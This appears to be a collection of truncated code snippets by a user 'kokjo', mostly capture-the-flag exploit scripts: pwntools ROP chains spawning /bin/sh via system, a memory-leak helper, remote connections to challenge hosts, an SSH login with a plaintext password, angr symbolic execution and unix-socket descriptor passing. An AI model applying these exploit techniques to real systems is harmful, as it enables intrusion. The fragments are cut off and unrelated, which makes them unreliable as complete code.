kokjo

from pwn import *

e = ELF("./serial")

#r = remote("175.119.158.133", 23232)
r = process("./serial")

r.recvuntil("input product key:")
r.sendline("615066814080")

kokjo

import angr

p = angr.Project("./serial")

s = p.factory.blank_state(addr = 0x400CBB )
serial = s.se.BVS("serial", 32*8)
s.memory.store(0x6020BA, serial) # store some symbolic memory in the bss
s.regs.rdi = 0x6020BA # let the first arguemnt(rdi) point to it

pg = p.factory.path_group(s)

kokjo

// compile with gcc -static -o recvfd recvfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>

static int recv_fd(int sock){
    // This function does the arcane magic recving
    // file descriptors over unix domain sockets
    struct msghdr msg;

kokjo

// compile with: gcc -static -o sendfd sendfd.c
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <strings.h>

int send_fd(int sock, int fd){
    // This function does the arcane magic for sending
    // file descriptors over unix domain sockets
    struct msghdr msg;

kokjo

from pwn import *

e = ELF("./johns-shuffle")
rop = ROP(e)

command = "/bin/sh"

# Bypass the shuffling by forcing the dynamic linker to lookup the symbols again
rop.call(e.plt["read"]+6, [0, e.bss(), len(command)+1])
rop.call(e.plt["system"]+6, [e.bss()])

kokjo

#include <stdio.h>

int main(int argc, char **argv){
    long int a=0,b=0,c=0,d=0;
    scanf("0x%lx 0x%lx", &a, &b);
    scanf("0x%lx 0x%lx", &c, &d);
    printf("a: 0x%x b: 0x%x c: 0x%x d: 0x%x\n", a,b,c,d);
}

kokjo

from pwn import *
from ctypes import sizeof
ed = elf.datatypes

r = remote("146.148.79.13", 55173)
r.sendline(str(3338240).ljust(80, "\x00")+p32(0x401000))
r.recvrepeat(1)

@MemLeak
def leak(addr):

kokjo

from pwn import *

s = ssh("jfk", "54.152.92.112", password="jfk")
r = s.shell(tty=False)
r.recvuntil("\x00/ $ ")

log.info("VM has booted")

r.sendline("cd /home/supershm")
r.recvuntil("~ $ ")

kokjo

from pwn import *
context(arch = 'i386', os = 'linux')

elf = ELF('boxxy')
rop = ROP(elf)

libc = ELF("libc.so.6")
libc_rop = ROP(libc)

HOST = 'localhost'

kokjo

from random import sample, choice

def parse(text):
    parts = {}
    deps = {}
    lines = text.strip().split("\n")
    for line in lines:
        lineid, linedeps, content = line.split(";", 2)
        lineid = lineid.strip()
        linedeps = map(lambda dep: dep.strip(), linedeps.strip().split(","))